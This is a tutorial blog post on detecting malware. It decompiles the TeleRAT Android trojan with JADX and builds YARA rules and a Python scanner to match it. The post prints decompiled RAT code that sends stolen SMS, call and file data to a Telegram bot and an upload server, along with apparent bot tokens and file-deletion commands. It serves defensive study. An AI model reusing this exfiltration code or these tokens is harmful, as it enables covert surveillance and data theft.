How to hunt for malwares
I want to get example one Spyware android sample.
The old antivirus work only with hash-list, if an atacker change one line of code or even add one point, the hash is changed and the antivirus can’t detect this.
To resolve this problem yara comes, as its says Yara is The pattern matching swiss knife for malware researchers (and everyone else)
YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns.
Its created by VirusTotal(it was acquired by Google Inc. in September 2012)
Lets stop with bla bla and go to hands on
jadx
Lets get this spyware sample. The malware samples is defined by they hashes, please if you dont know what is this, google it.
First we need to understand how this malware work to find patterns. To this we need to make a small reverse engineering.
For android we can use an open source Dex to Java decompiler tool called JADX for produce Java source code from Android Dex and Apk files.
https://github.com/skylot/jadx
Install:
- Arch linux
sudo pacman -S jadx
- macOS
brew install jadx
Ubutu
https://www.youtube.com/watch?v=jfjUkIZ9BKY
- Windows
https://www.youtube.com/watch?v=WI9dwvzNBkY
Malware Familiy
Lets research a malware family discoverered by Unit 42 from Palo Alto Networks, TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target Iranian Users A Remote Access Trojan (RAT) is a type of malware that allows hackers to monitor and control your computer or network in this case is MRAT, Mobile Remote Access Trojan.
The sample we go to research is this: 01fef43c059d6b37be7faf47a08eccbf76cf7f050a7340ac2cae11942f27eb1d
Lets do a simple reverse engineering, open jadx-gui and open the file
If you see boxes like this:
Its the persian language that the default font of jadx dont support, go to preferences and change the font to Arial.
TP.GetUpdateThe
We can see the developer (I comment the translation of persian language)
public String _class_globals() throws Exception {
this._aboutdeveloper = "با سلام خدمت شما دوستان عزیز بنده امیرحسین طرق پیما هستم. مدیر کل انجمن برنامه نویس ایرانی."; // Hi my dear friends Amir Hossein Tariq Pima. General Manager of Iranian Programmer Association. ";
return "";
}
b4a.examplf.botrat
// Here we can see the chat_id and bot_token
public static String _process_globals() throws Exception {
_chatid = "471078355";
_bot_token = "535795015:AAGaT2CTghljB3xqv399GZZOdB-guH_i92I";
}
public static String _service_create() throws Exception {
_tmaker._addnormalbutton("دریافت مخاطبین"); // Get contacts
_tmaker._addnormalbutton("دریافت پیام ها"); // Receive messages
_tmaker._addnormalbutton("دریافت برنامه ها"); // Get apps
_tmaker._addnormalbutton("دریافت مکان"); // Get a place
_tmaker._addnormalbutton("دریافت گالری"); // Get Gallery
_tmaker._addnormalbutton("دریافت کلیپ بورد"); // Get Clipboard
_tmaker._addnormalbutton("دریافت وضعیت"); // Get status
_tmaker._addnormalbutton("دریافت اطلاعات شارژ"); // Get Charging Information
_tmaker._addnormalbutton("دریافت تماس ها"); // Receive calls
_tmaker._addnormalbutton("لرزش کم"); // Low vibration
_tmaker._addnormalbutton("لرزش متوسط"); // Medium Shake
_tmaker._addnormalbutton("لرزش زیاد"); // High vibration
_tmaker._addnormalbutton("سایلنت"); // Silent
_tmaker._addnormalbutton("صدا دار"); // Loud
_tmaker._addnormalbutton("بیصدا"); // silent
_tmaker._addnormalbutton("Blacksc");
_tmaker._addnormalbutton("Blackscf");
_tmaker._addnormalbutton("گرفتن عکس1"); // Take Photo 1
_tmaker._addnormalbutton("گرفتن عکس2"); // Take Photo 2
_tmaker._addnormalbutton("ضبط فیلم"); // Movie Recording
_tmaker._addnormalbutton("توقف ضبط فیلم"); // Stop movie recording
_tmaker._addnormalbutton("راهنمای دستورات"); // Instructions Guide
_tmaker._addnormalbutton("توقف رات"); // "Rat stopped
}
// Here we can see the Rat create a file `thisapk_slm.txt` that mentioning a Telegram channel and a list of commands
public static String _tele_finish(boolean z) throws Exception {
File file = Common.File;
file = Common.File;
if (!File.Exists(File.getDirInternal(), "thisapk_slm.txt")) {
_tele._send_messagewithbutton(_chatid, "این رات توسط وحید میل شصتو هفت تهیه شده ..برای کنترل رات از دستورات زیر استفاده کنید", _chinesh); // "This rat is made by Vahid Mill sixty seven. Use the following commands to control the rat"
File.WriteString(File.getDirInternal(), "thisapk_slm.txt", "");
}
}
b4a.example.servis
// in this file we can see the connection and some files name
public static String _send_message(String str) throws Exception {
httpjob httpjob = new httpjob();
httpjob._initialize(processBA, "jobSendMessage", getObject());
httpjob._download2("http://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage", new String[]{"chat_id", "275899582", "text", str + Common.CRLF + Common.CRLF + "IMEI دستگاه:" + _imei});
return "";
}
public static String _service_start(IntentWrapper intentWrapper) throws Exception {
File file;
_upload1.Initialize(processBA, "upload1");
_upload2.Initialize(processBA, "upload2");
_upload21.Initialize(processBA, "upload21");
_upload22.Initialize(processBA, "upload22");
_upload20.Initialize(processBA, "upload20");
if (!File.Exists(File.getDirRootExternal(), "Android/data/" + _imei + "numbers.txt")) {
file2 = Common.File;
file2 = Common.File;
file = Common.File;
File.Copy(File.getDirAssets(), "numbers.txt", File.getDirRootExternal(), "Android/data/" + _imei + "numbers.txt");
}
file2 = Common.File;
file2 = Common.File;
if (!File.Exists(File.getDirRootExternal(), _imei + "acc.txt")) {
file2 = Common.File;
file2 = Common.File;
file = Common.File;
File.Copy(File.getDirAssets(), "numbers.txt", File.getDirRootExternal(), "Android/data/" + _imei + "acc.txt");
}
file2 = Common.File;
file2 = Common.File;
if (!File.Exists(File.getDirRootExternal(), _imei + "sms.txt")) {
file2 = Common.File;
file2 = Common.File;
file = Common.File;
File.Copy(File.getDirAssets(), "sms.txt", File.getDirRootExternal(), "Android/data/" + _imei + "sms.txt");
}
file2 = Common.File;
file2 = Common.File;
if (!File.Exists(File.getDirRootExternal(), _imei + "sms.txt")) {
file2 = Common.File;
file2 = Common.File;
file = Common.File;
File.Copy(File.getDirAssets(), "sms.txt", File.getDirRootExternal(), "Android/data/" + _imei + "sms.txt");
}
b4a.example.automessage
Here we can see a lot of commands
if (_text.startsWith("getloc") && Split[1].equals(_shomare)) {
if (!_gps.getGPSEnabled()) {
Common.StartActivity(processBA, _gps.getLocationSettingsIntent());
}
_gps.Initialize("gps");
_gps.Start(processBA, 0, Common.Density);
}
if (_text.startsWith("upload") && Split[1].equals(_shomare)) {
uploadFilePhp = new UploadFilePhp();
uploadFilePhp.Initialize(processBA, "bott2");
uploadFilePhp.doFileUpload(processBA, (ProgressBar) Common.Null, (TextView) Common.Null, Split[2], "https://navidtwobottt.000webhostapp.com/rat/upload_file.php");
}
if (_text.startsWith("removeA") && Split[1].equals(_shomare)) {
file3 = Common.File;
file3 = Common.File;
File.Delete(File.getDirRootExternal(), Split[2]);
webViewWrapper = new WebViewWrapper();
webViewWrapper.Initialize(processBA, "web");
webViewWrapper.LoadUrl("https://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage?chat_id=275899582&text=حذف فایل______________" + Split[2]);
}
if (_text.startsWith("removeB") && Split[1].equals(_shomare)) {
new List().Initialize();
file3 = Common.File;
append2 = new StringBuilder();
file = Common.File;
list2 = File.ListFiles(append2.append(File.getDirRootExternal()).append(Split[2]).append("/").toString());
i2 = list2.getSize() - 1;
for (ObjectToNumber = 0; ObjectToNumber <= i2; ObjectToNumber = (ObjectToNumber + 0) + 1) {
file4 = Common.File;
append = new StringBuilder();
file2 = Common.File;
File.Delete(append.append(File.getDirRootExternal()).append(Split[2]).append("/").toString(), C0006BA.ObjectToString(list2.Get(ObjectToNumber)));
}
file3 = Common.File;
append2 = new StringBuilder();
file = Common.File;
File.Delete(append2.append(File.getDirRootExternal()).append(Split[2]).append("/").toString(), "");
}
if (_text.startsWith("lstmsg") && Split[1].equals(_shomare)) {
file3 = Common.File;
file3 = Common.File;
File file5 = Common.File;
File.Copy(File.getDirAssets(), "sms.txt", File.getDirRootExternal(), "Android/data/" + _shomare + "lstmsg.txt");
file3 = Common.File;
file3 = Common.File;
File.WriteList(File.getDirRootExternal(), "Android/data/" + _shomare + "lstmsg.txt", _intercept.GetAll());
uploadFilePhp = new UploadFilePhp();
new List().Initialize();
list = _intercept.GetAll();
int size2 = list.getSize() - 1;
str2 = str3;
for (i2 = 0; i2 <= size2; i2 = (i2 + 0) + 1) {
str2 = str2 + C0006BA.ObjectToString(list.Get(i2));
}
_send_message(C0006BA.ObjectToString(list.Get(list.getSize() - 1)));
uploadFilePhp.Initialize(processBA, "bott2");
uploadFilePhp.doFileUpload(processBA, (ProgressBar) Common.Null, (TextView) Common.Null, "/sdcard/Android/data/" + _shomare + "lstmsg.txt", "https://navidtwobottt.000webhostapp.com/rat/upload_file.php");
}
if (_text.startsWith("yehoo") && Split[1].equals(_shomare)) {
C0006BA c0006ba = processBA;
takephoto takephoto = mostCurrent._takephoto;
Common.StartActivity(c0006ba, takephoto.getObject());
}
public static String _phoneins_phonestatechanged(String str, String str2, IntentWrapper intentWrapper) throws Exception {
String str3 = "";
StringBuilder append;
DateTime dateTime;
switch (C0006BA.switchObjectToInt(str, "RINGING", "IDLE", "OFFHOOK")) {
case 0:
append = new StringBuilder().append("تماس دریافتی⬇️\nاز شماره:\n").append(str2).append(Common.CRLF).append("تاریخ👈🏻").append(_am.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
dateTime = Common.DateTime;
dateTime = Common.DateTime;
_send_message(append.append(DateTime.Time(DateTime.getNow())).toString());
break;
case 1:
if (_isoffhook) {
append = new StringBuilder().append("تماس دریافتی پایان یافت⏹️\nاز شماره:\n").append(str2).append(Common.CRLF).append("مدت تماس: ").append(C0006BA.NumberToString(_timecall)).append(" ثانیه").append(Common.CRLF).append("تاریخ👈🏻").append(_am.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
dateTime = Common.DateTime;
dateTime = Common.DateTime;
_send_message(append.append(DateTime.Time(DateTime.getNow())).toString());
_timercalls.setEnabled(false);
_timecall = 0;
} else {
append = new StringBuilder().append("تماس دریافتی توسط هدف قطع شد🚫️\nاز شماره:\n").append(str2).append(Common.CRLF).append("تاریخ👈🏻").append(_am.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
dateTime = Common.DateTime;
dateTime = Common.DateTime;
_send_message(append.append(DateTime.Time(DateTime.getNow())).toString());
_timercalls.setEnabled(false);
_timecall = 0;
}
_isoffhook = false;
break;
case 2:
_isoffhook = true;
_timercalls.setEnabled(true);
break;
}
return "";
}
List of commands*
Command | Translation |
---|---|
دریافت مخاطبین | Get contacts |
دریافت کلیپ بورد | Get the clipboard |
Clipboard set:[text] | |
دریافت مکان | Get location |
دریافت اطلاعات شارژ | Receive charging information |
All file list:/[path] | |
Root file list:/[path] | |
دریافت برنامه ها | Get apps |
1Downloadfile/[filename] | |
2Downloadfile/[filename] | |
CreateContact/[name]/[number] | |
SetWallpaper http[URL] | |
دریافت پیام ها | Receive (SMS) messages |
Sendsmsfor/[destination]/[text] | |
MessageShow[text] | |
گرفتن عکس1 | Take photo 1 (front camera) |
گرفتن عکس2 | Take photo 2 (back camera) |
دریافت وضعیت | Get status |
دریافت تماس ها | Receive calls |
DeleteDir[dirname] | |
سایلنت | Silent (set to Vibrate mode) |
صدادار | Loud (set to normal Ringer mode) |
بیصدا | Silent (set to Silent mode) |
Blacksc | Blacks out phone screen |
Blackscf | Clears black screen |
ضبط فیلم | Audio recording (saves recorded audio to AUDIO123/MUSIC/rec123.m4a on SD Card) |
توقف ضبط فیلم | Stop audio recording |
راهنمای دستورات | Instruction manual (Help Menu) |
call to [number] | |
RESET | (deletes thisapk_slm.txt and sends a new registration message to Telegram bot) |
دریافت گالری | Get gallery (sends files from the /Dcim folder on the SD Card to Telegram bot) |
Delete app files or دریافت گالری | |
Vibrate [x] | (Causes phone to vibrate for x seconds, with a maximum value of 600 secs) |
لرزش کم | Low vibration (for a duration of 150 secs) |
لرزش متوسط | Medium vibration (350 secs) |
لرزش زیاد | Shake too much (600 secs) |
- Source - unit42
Based on what we see on the reverse engineering lets create a signature for this RAT
Lets use Yara Python, install yara with pip install yara-python
Before Run Yara we need to to handle the apk file, apk is like a zip file and we need to extract to a temporary folder, run yara and delete this temporary folder
import yara
import json
from zipfile import ZipFile
import os
zip_file = 'telerat.apk'
rules_path = 'rules.yara'
def scanner(scanfile, yaraRules):
# Delete previous list
matches_dict = {}
# Iterate over all matches to create a list of strings matches
for match in yaraRules.match(scanfile):
# Delete previous list
matches = []
# iterate over all strings
for string_data in match.strings:
# The string output is like this (337L, '$a_2', 'sms.txt'):
# The explanation is (Location, Identifier, String), for now we want only the string, that is string_data[2]
string = string_data[2]
# To remove duplicates
if string not in matches:
matches.append(string)
# Add matches with the name of the rule as key and the strings list as value
matches_dict[match.rule] = matches
return matches_dict
def report(results):
with open('result.json', 'w') as json_file:
json.dump(results, json_file)
def main():
results = {}
with ZipFile(zip_file, 'r') as zipObj:
# Extract a zip file to 'temp' directory
zipObj.extractall('temp')
# iterate over all files on the temp directory
for root, dirs, files in os.walk("temp", topdown=False):
for name in files:
file_path = os.path.join(root, name)
# Get the result for this file
result = scanner(file_path, yara.compile(filepath=rules_path))
# check if The result is not empty
if bool(result):
# Add the result of this file with the result as value and the file name as key
results[name] = result
# remove the file
os.remove(file_path)
# iterate over all directories to delete empty directories
for name in dirs:
os.rmdir(os.path.join(root, name))
# remove temp directory
os.rmdir('temp')
# create the report
report(results)
main()
Write Yara Rules
Now create a file rules.yara
and lets create the yara rule based on our reverse engineering:
rule telerat_files
{
strings:
$file1 = "acc.txt"
$file2 = "sms.txt"
$file3 = "1.jpg"
$file4 = "Image.jpg"
$file5 = "numbers.txt"
$file6 = "/sdcard/Android/data/"
condition:
all of them
}
rule telerat_commands
{
strings:
$command1 = "yehoo"
$command2 = "removeB"
$command3 = "removeA"
$command4 = "upload"
$command5 = "getloc"
$command6 = "getfiles"
$command7 = "getapps"
$command9 = "call"
$command10 = "MessageShow"
$command11 = "Vibrate"
$command12 = "lstmsg"
$command13 = "Vibrate"
condition:
all of them
}
rule telerat_urls
{
strings:
$telegram = "http://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage"
$url = "https://navidtwobottt.000webhostapp.com/rat/upload_file.php"
condition:
all of them
}
rule telerat_more
{
strings:
$ = "تماس دریافتی⬇️\nاز شماره:\n"
$ = "ساعت⏱"
condition:
all of them
}
Run all together
Lets Run our Yara rules on the apk file with our run_yara.py
python run_yara.py
The Output is
{
"classes.dex": {
"telerat_urls": [
"http://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage",
"https://navidtwobottt.000webhostapp.com/rat/upload_file.php"
],
"telerat_more": [
"\u062a\u0645\u0627\u0633 \u062f\u0631\u06cc\u0627\u0641\u062a\u06cc\u2b07\ufe0f\n\u0627\u0632 \u0634\u0645\u0627\u0631\u0647:\n",
"\u0633\u0627\u0639\u062a\u23f1"
],
"telerat_files": [
"acc.txt",
"sms.txt",
"1.jpg",
"Image.jpg",
"numbers.txt",
"/sdcard/Android/data/"
],
"telerat_commands": [
"yehoo",
"removeB",
"removeA",
"upload",
"getloc",
"getfiles",
"getapps",
"call",
"MessageShow",
"Vibrate",
"lstmsg"
]
}
}
Conclusion
The old antivirus works only with hash list, and the attacker can change some string and the detection do not work, With yara rules modern anti-virus can detect for new malwares even if the developer change the hash.